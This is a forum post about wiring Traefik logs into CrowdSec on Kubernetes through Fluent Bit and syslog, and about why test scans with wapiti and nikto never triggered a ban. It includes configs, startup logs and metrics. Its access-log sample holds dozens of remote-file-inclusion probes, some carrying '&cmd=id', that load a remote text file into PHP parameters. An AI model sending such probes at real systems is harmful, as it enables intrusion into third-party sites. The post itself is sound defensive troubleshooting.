Crowdsec and Traefik

fbonalair · December 12, 2021, 5:24pm

Hello,
First of all, thanks for the traefik collection!
It took me a while but I managed to send Traefik logs to Crowdsec agent via Fluentbit and Syslog.

To verify the whole pipeline, through a vpn, I used both wapiti and nikto to pentest to the domain. To verify the syslog input I send the syslog both to the server and my dev machine. Though, after quite some tests, I never managed to be ban. Can someone help me found why?

To set the context, I’m working on kubernetes, and I have already publish a couples of my manifests on this post.

By the way, for syslog, the tag “appname” seems to be mandatory to work (Maybe other tags too?) but it’s not written. Did I missed it in the doc? Or it’s usually mandatory? I litteraly discovered what a syslog server is, so maybe I’m missing something.

To install the traefik collection I have added the following line in the env config file:
COLLECTIONS: "crowdsecurity/traefik crowdsecurity/linux crowdsecurity/sshd"

To install fluentbit, I’ve used the helm chart with this pipeline configuration:

  ## https://docs.fluentbit.io/manual/pipeline/inputs
  inputs: |
    [INPUT]
        Name tail
        Path /var/log/containers/*.log
        multiline.parser docker, cri
        Tag kube.*
        Mem_Buf_Limit 5MB
        Skip_Long_Lines On

    [INPUT]
        Name systemd
        Tag host.*
        Systemd_Filter _SYSTEMD_UNIT=kubelet.service
        Read_From_Tail On
  
    [INPUT]
        name            node_exporter_metrics
        tag             node_metrics
        scrape_interval 5

  ## https://docs.fluentbit.io/manual/pipeline/filters
  filters: |
    [FILTER]
        Name kubernetes
        Match kube.*
        Merge_Log On
        Keep_Log Off
        K8S-Logging.Parser On
        K8S-Logging.Exclude On
        
    ## Duplicate kubernetes key
    [FILTER]
        Name modify
        Match kube.*
        Hard_copy kubernetes kubernetes_sd_key
    
    ## Unnested kubernetes properties
    [FILTER]
        Name nest
        Match kube.*
        Operation lift
        Nested_under kubernetes_sd_key
        Add_prefix kubernetes_

  ## https://docs.fluentbit.io/manual/pipeline/outputs
  outputs: |    
    [OUTPUT]
        name                 syslog
        match                kube.var.log.containers.traefik*
        host                 crowdsec-agent.kube-system
        port                 514
        mode                 udp
        syslog_format        rfc5424
        syslog_maxsize       2048
        syslog_appname_key   kubernetes_container_name
        syslog_hostname_key  kubernetes_host
        syslog_procid_key    kubernetes_pod_name
        syslog_sd_key        kubernetes
        syslog_message_key   log
    
    [OUTPUT]
        name                 syslog
        match                kube.var.log.containers.traefik*
        host                 192.168.1.80
        port                 8514
        mode                 udp
        syslog_format        rfc5424
        syslog_maxsize       2048
        syslog_appname_key   kubernetes_container_name
        syslog_hostname_key  kubernetes_host
        syslog_procid_key    kubernetes_pod_name
        syslog_msgid_key     kubernetes_time    
        syslog_sd_key        kubernetes
        syslog_message_key   log

To start the syslog Data Source with crowdsec, I have this config :

apiVersion: v1
kind: ConfigMap
metadata:
  name: crowdsec-agent-files-conf
  namespace: kube-system
data:
  acquis.yaml: |
    source: syslog
    listen_addr: 0.0.0.0
    listen_port: 514
    max_message_len: 2048
    labels: 
      type: syslog

The crowdsec-agent container start up logs:

$ kubectl -n kube-system logs crowdsec-agent-f4cc5db9c-nd5lp 
Regenerate local agent credentials
time="12-12-2021 06:05:01 PM" level=info msg="machine 'localhost' deleted successfully"
time="12-12-2021 06:05:01 PM" level=info msg="Machine 'localhost' successfully added to the local API"
time="12-12-2021 06:05:01 PM" level=info msg="API credentials dumped to '/etc/crowdsec/local_api_credentials.yaml'"
Check if lapi need to register automatically an agent
time="12-12-2021 06:05:01 PM" level=info msg="Wrote new 188652 bytes index to /etc/crowdsec/hub/.index.json"
time="12-12-2021 06:05:02 PM" level=info msg="crowdsecurity/linux : up-to-date"
time="12-12-2021 06:05:02 PM" level=info msg="Item 'crowdsecurity/linux' is up-to-date"
time="12-12-2021 06:05:02 PM" level=info msg="Run 'sudo systemctl reload crowdsec' for the new configuration to be effective."
time="12-12-2021 06:05:02 PM" level=info msg="crowdsecurity/whitelists : up-to-date"
time="12-12-2021 06:05:02 PM" level=info msg="Item 'crowdsecurity/whitelists' is up-to-date"
time="12-12-2021 06:05:02 PM" level=info msg="Run 'sudo systemctl reload crowdsec' for the new configuration to be effective."
time="12-12-2021 06:05:02 PM" level=warning msg="crowdsecurity/docker-logs : overwrite"
time="12-12-2021 06:05:02 PM" level=info msg="Enabled crowdsecurity/docker-logs"
time="12-12-2021 06:05:02 PM" level=info msg="Run 'sudo systemctl reload crowdsec' for the new configuration to be effective."
time="12-12-2021 06:05:02 PM" level=warning msg="crowdsecurity/traefik-logs : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-logs : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-crawl-non_statics : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-probing : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-bad-user-agent : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.txt' in '/var/lib/crowdsec/data/bad_user_agents.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-path-traversal-probing : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/path_traversal.txt' in '/var/lib/crowdsec/data/http_path_traversal.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-sensitive-files : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sensitive_data.txt' in '/var/lib/crowdsec/data/sensitive_data.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-sqli-probing : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/sqli_probe_patterns.txt' in '/var/lib/crowdsec/data/sqli_probe_patterns.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-xss-probing : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/xss_probe_patterns.txt' in '/var/lib/crowdsec/data/xss_probe_patterns.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-backdoors-attempts : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="downloading data 'https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/backdoors.txt' in '/var/lib/crowdsec/data/backdoors.txt'"
time="12-12-2021 06:05:03 PM" level=warning msg="ltsich/http-w00tw00t : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-generic-bf : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/http-open-proxy : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/base-http-scenarios : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/base-http-scenarios : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/traefik : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="/etc/crowdsec/collections/base-http-scenarios.yaml already exists."
time="12-12-2021 06:05:03 PM" level=info msg="/etc/crowdsec/collections/traefik.yaml already exists."
time="12-12-2021 06:05:03 PM" level=info msg="Enabled crowdsecurity/traefik"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/syslog-logs : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/geoip-enrich : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/dateparse-enrich : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/sshd-logs : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/ssh-bf : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/ssh-slow-bf : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/sshd : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/sshd : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/linux : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="/etc/crowdsec/collections/sshd.yaml already exists."
time="12-12-2021 06:05:03 PM" level=info msg="/etc/crowdsec/collections/linux.yaml already exists."
time="12-12-2021 06:05:03 PM" level=info msg="Enabled crowdsecurity/linux"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/sshd-logs : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/ssh-bf : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/ssh-slow-bf : overwrite"
time="12-12-2021 06:05:03 PM" level=warning msg="crowdsecurity/sshd : overwrite"
time="12-12-2021 06:05:03 PM" level=info msg="/etc/crowdsec/collections/sshd.yaml already exists."
time="12-12-2021 06:05:03 PM" level=info msg="Enabled crowdsecurity/sshd"
time="12-12-2021 06:05:03 PM" level=info msg="Run 'sudo systemctl reload crowdsec' for the new configuration to be effective."
time="12-12-2021 18:05:03" level=info msg="Crowdsec v1.2.1-docker-dd03d073558e380c283afe66942f537c3da647ff"
time="12-12-2021 18:05:03" level=info msg="Loading prometheus collectors"
time="12-12-2021 18:05:03" level=info msg="Loading CAPI pusher"
time="12-12-2021 18:05:03" level=info msg="initiating plugin broker"
time="12-12-2021 18:05:03" level=debug msg="starting plugin" args="[/usr/local/lib/crowdsec/plugins/notification-http]" path=/usr/local/lib/crowdsec/plugins/notification-http
time="12-12-2021 18:05:03" level=debug msg="plugin started" path=/usr/local/lib/crowdsec/plugins/notification-http pid=83
time="12-12-2021 18:05:03" level=debug msg="waiting for RPC address" path=/usr/local/lib/crowdsec/plugins/notification-http
time="12-12-2021 18:05:03" level=debug msg="using plugin" version=1
time="12-12-2021 18:05:03" level=debug msg="plugin address" @module=http-plugin address=/tmp/plugin170019443 network=unix
time="12-12-2021 18:05:03" level=trace msg="waiting for stdio data"
time="12-12-2021 18:05:03" level=info msg="registered plugin http_default"
time="12-12-2021 18:05:03" level=info msg="initiated plugin broker"
time="12-12-2021 18:05:03" level=info msg="start crowdsec api push (interval: 30s)"
time="12-12-2021 18:05:03" level=info msg="start crowdsec api pull (interval: 2h)"
time="12-12-2021 18:05:03" level=warning msg="scenario list is empty, will not pull yet"
time="12-12-2021 18:05:03" level=info msg="Loading grok library /etc/crowdsec/patterns"
time="12-12-2021 18:05:04" level=info msg="capi metrics: metrics sent successfully"
time="12-12-2021 18:05:04" level=info msg="start crowdsec api send metrics (interval: 30m)"
time="12-12-2021 18:05:05" level=info msg="Loading enrich plugins"
time="12-12-2021 18:05:05" level=info msg="Successfully registered enricher 'GeoIpCity'"
time="12-12-2021 18:05:05" level=info msg="Successfully registered enricher 'GeoIpASN'"
time="12-12-2021 18:05:05" level=info msg="Successfully registered enricher 'IpToRange'"
time="12-12-2021 18:05:05" level=info msg="Successfully registered enricher 'reverse_dns'"
time="12-12-2021 18:05:05" level=info msg="Successfully registered enricher 'ParseDate'"
time="12-12-2021 18:05:05" level=info msg="Loading parsers 8 stages"
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s00-raw/docker-logs.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 2 parser nodes" file=/etc/crowdsec/parsers/s00-raw/syslog-logs.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s01-parse/sshd-logs.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s01-parse/traefik-logs.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s02-enrich/http-logs.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 1 parser nodes" file=/etc/crowdsec/parsers/s02-enrich/whitelists.yaml
time="12-12-2021 18:05:05" level=info msg="Loaded 9 nodes, 3 stages"
time="12-12-2021 18:05:05" level=info msg="Loading postoverflow Parsers"
time="12-12-2021 18:05:05" level=info msg="Loaded 0 nodes, 0 stages"
time="12-12-2021 18:05:05" level=info msg="Loading 13 scenario files"
time="12-12-2021 18:05:05" level=info msg="Adding trigger bucket" cfg=bold-darkness file=/etc/crowdsec/scenarios/http-open-proxy.yaml name=crowdsecurity/http-open-proxy
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=snowy-butterfly file=/etc/crowdsec/scenarios/http-generic-bf.yaml name=crowdsecurity/http-generic-bf
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=autumn-cherry file=/etc/crowdsec/scenarios/http-sensitive-files.yaml name=crowdsecurity/http-sensitive-files
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=misty-sunset file=/etc/crowdsec/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=cold-tree file=/etc/crowdsec/scenarios/http-crawl-non_statics.yaml name=crowdsecurity/http-crawl-non_statics
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=floral-fire file=/etc/crowdsec/scenarios/http-xss-probing.yaml name=crowdsecurity/http-xss-probbing
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=aged-cherry file=/etc/crowdsec/scenarios/http-backdoors-attempts.yaml name=crowdsecurity/http-backdoors-attempts
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=little-mountain file=/etc/crowdsec/scenarios/http-sqli-probing.yaml name=crowdsecurity/http-sqli-probbing-detection
time="12-12-2021 18:05:05" level=info msg="Adding trigger bucket" cfg=young-wind file=/etc/crowdsec/scenarios/http-w00tw00t.yaml name=ltsich/http-w00tw00t
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=icy-wave file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=shy-mountain file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf_user-enum
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=small-firefly file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=rough-lake file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf_user-enum
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=solitary-firefly file=/etc/crowdsec/scenarios/http-path-traversal-probing.yaml name=crowdsecurity/http-path-traversal-probing
time="12-12-2021 18:05:05" level=info msg="Adding leaky bucket" cfg=spring-rain file=/etc/crowdsec/scenarios/http-probing.yaml name=crowdsecurity/http-probing
time="12-12-2021 18:05:05" level=warning msg="Loaded 15 scenarios"
time="12-12-2021 18:05:05" level=info msg="loading acquisition file : /configMap/acquis.yaml"
time="12-12-2021 18:05:05" level=info msg="Starting syslog datasource configuration" type=syslog
time="12-12-2021 18:05:05" level=warning msg="Starting processing data"
time="12-12-2021 18:05:05" level=info msg="127.0.0.1 - [Sun, 12 Dec 2021 18:05:05 CET] \"POST /v1/watchers/login HTTP/1.1 200 151.803514ms \"crowdsec/v1.2.1-docker-dd03d073558e380c283afe66942f537c3da647ff\" \""
time="12-12-2021 18:05:05" level=info msg="last CAPI pull is newer than 1h30, skip."
time="12-12-2021 18:05:05" level=info msg="127.0.0.1 - [Sun, 12 Dec 2021 18:05:05 CET] \"POST /v1/watchers/login HTTP/1.1 200 145.725626ms \"crowdsec/v1.2.1-docker-dd03d073558e380c283afe66942f537c3da647ff\" \""

To double check that data where send to crowdsec agent, I used the cli with following result:

/ # cscli metrics
INFO[12-12-2021 05:41:22 PM] Buckets Metrics:                             
+--------------------------------------+---------------+-----------+--------------+--------+---------+
|                BUCKET                | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED |
+--------------------------------------+---------------+-----------+--------------+--------+---------+
| crowdsecurity/http-crawl-non_statics | -             | -         |           10 |     17 |      10 |
| crowdsecurity/http-probing           |             1 | -         |            3 |      9 |       2 |
+--------------------------------------+---------------+-----------+--------------+--------+---------+
INFO[12-12-2021 05:41:22 PM] Acquisition Metrics:                         
+-------------------+------------+--------------+----------------+------------------------+
|      SOURCE       | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET |
+-------------------+------------+--------------+----------------+------------------------+
| syslog:10.42.1.92 |       2350 |          194 |           2156 |                      1 |
| syslog:10.42.1.93 |         20 |           20 | -              | -                      |
| syslog:10.42.1.94 |       2733 |          431 |           2302 |                     25 |
+-------------------+------------+--------------+----------------+------------------------+
INFO[12-12-2021 05:41:22 PM] Parser Metrics:                              
+----------------------------------------+-------+--------+----------+
|                PARSERS                 | HITS  | PARSED | UNPARSED |
+----------------------------------------+-------+--------+----------+
| child-child-crowdsecurity/traefik-logs | 57954 |  13374 |    44580 |
| child-crowdsecurity/http-logs          |  1935 |   1130 |      805 |
| child-crowdsecurity/traefik-logs       |  9561 |    645 |     8916 |
| crowdsecurity/dateparse-enrich         |   645 |    645 | -        |
| crowdsecurity/geoip-enrich             |   645 |    645 | -        |
| crowdsecurity/http-logs                |   645 |    485 |      160 |
| crowdsecurity/syslog-logs              |  5103 |   5103 | -        |
| crowdsecurity/traefik-logs             |  5103 |    645 |     4458 |
| crowdsecurity/whitelists               |   645 |    645 | -        |
+----------------------------------------+-------+--------+----------+
INFO[12-12-2021 05:41:22 PM] Local Api Metrics:                           
+--------------------+--------+------+
|       ROUTE        | METHOD | HITS |
+--------------------+--------+------+
| /v1/alerts         | GET    |  625 |
| /v1/decisions      | GET    | 1312 |
| /v1/watchers/login | POST   | 1526 |
+--------------------+--------+------+
INFO[12-12-2021 05:41:22 PM] Local Api Machines Metrics:                  
+-----------+------------+--------+------+
|  MACHINE  |   ROUTE    | METHOD | HITS |
+-----------+------------+--------+------+
| localhost | /v1/alerts | GET    |  625 |
+-----------+------------+--------+------+
INFO[12-12-2021 05:41:22 PM] Local Api Bouncers Metrics:                  
+-----------------+---------------+--------+------+
|     BOUNCER     |     ROUTE     | METHOD | HITS |
+-----------------+---------------+--------+------+
| traefik-bouncer | /v1/decisions | GET    | 1312 |
+-----------------+---------------+--------+------+
INFO[12-12-2021 05:41:22 PM] Local Api Bouncers Decisions:                
+-----------------+---------------+-------------------+
|     BOUNCER     | EMPTY ANSWERS | NON-EMPTY ANSWERS |
+-----------------+---------------+-------------------+
| traefik-bouncer |          1310 |                 2 |
+-----------------+---------------+-------------------+

The command to check decisions:

$ kubectl -n kube-system exec -it crowdsec-agent-f4cc5db9c-nd5lp -- sh
/ # cscli decisions list
No active decisions
/ #

A sample of traefik logs while wapiti was running:

$ kubectl logs -fn kube-system traefik-9f79b8c4c-mlvlm 
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /noticias.php?inc=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14939 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14940 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /nuke_path/iframe.php?file=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14941 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /nukebrowser.php?filnavn=http://cirt.net/rfiinc.txt?&filhead=XXpathXX&cmd=id HTTP/1.1" - - "-" "-" 14942 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /nuseo/admin/nuseo_admin_d.php?nuseo_dir=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14943 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /nuseo/admin/nuseo_admin_d.php?nuseo_dir=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14944 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /oaboard_en/forum.php?inc=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14945 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /ocp-103/index.php?req_path=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14946 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /ocs/include/footer.inc.php?fullpath=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14947 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /ocs/include/theme.inc.php?fullpath=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14948 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /ocs/openemr-2.8.2/custom/import_xml.php?srcdir=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14949 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /olbookmarks-0.7.4/themes/test1.php?http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14950 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /oneadmin/adminfoot.php?path[docroot]=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14951 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /oneadmin/blogger/sampleblogger.php?path[docroot]=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14952 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /oneadmin/config-bak.php?include_once=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14953 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:44 +0000] "GET /oneadmin/config.php?path[docroot]=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14954 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /oneadmin/ecommerce/sampleecommerce.php?path[docroot]=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14955 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /online.php?config[root_ordner]=http://cirt.net/rfiinc.txt??&cmd=id HTTP/1.1" - - "-" "-" 14956 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14957 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /openi-admin/base/fileloader.php?config[openi_dir]=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14958 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /openrat/themes/default/include/html/insert.inc.php?tpl_dir=http://cirt.net/rfiinc.txt???? HTTP/1.1" - - "-" "-" 14959 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14960 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /ops/gals.php?news_file=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14961 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /order/login.php?svr_rootscript=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14962 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /osData/php121/php121db.php?php121dir=http://cirt.net/rfiinc.txt?%00 HTTP/1.1" - - "-" "-" 14963 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /ossigeno-suite-2.2_pre1/upload/xax/admin/modules/uninstall_module.php?level=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14964 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14965 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /owimg.php3?path=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14966 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /p-news.php?pn_lang=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14967 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /pafiledb/includes/pafiledb_constants.php?module_root_path=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14968 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:45 +0000] "GET /page.php?goto=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14969 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /page.php?id=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14970 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /panel/common/theme/default/header_setup.php?path[docroot]=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14971 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /param_editor.php?folder=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14972 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /parse/parser.php?WN_BASEDIR=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14973 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /patch/?language_id=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14974 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /patch/tools/send_reminders.php?noSet=0&includedir=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14975 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /paypalipn/ipnprocess.php?INC=http://cirt.net/rfiinc.txt?? HTTP/1.1" - - "-" "-" 14976 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /pda/pda_projects.php?offset=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14977 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /phfito/phfito-post?SRC_PATH=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14978 "-" "-" 0ms
194.34.132.19 - - [12/Dec/2021:16:19:46 +0000] "GET /phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://cirt.net/rfiinc.txt? HTTP/1.1" - - "-" "-" 14979 "-" "-" 0ms

Here a sample of syslog send to my dev machine , according to fluentbit should be the same as ones send to crowdsec agent:

$ nc -u -l 8514
<14>1 2021-12-12T16:43:47.848158Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 10.42.1.1 - - [12/Dec/2021:16:43:47 +0000] "GET /ping HTTP/1.1" 200 2 "-" "-" 17623 "ping@internal" "-" 0ms<14>1 2021-12-12T16:43:48.267831Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 194.34.132.19 - - [12/Dec/2021:16:43:48 +0000] "GET /zqxjFASpplgsBq.html HTTP/1.1" 404 153 "-" "-" 17624 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 23ms<14>1 2021-12-12T16:43:48.595967Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 194.34.132.19 - - [12/Dec/2021:16:43:48 +0000] "GET 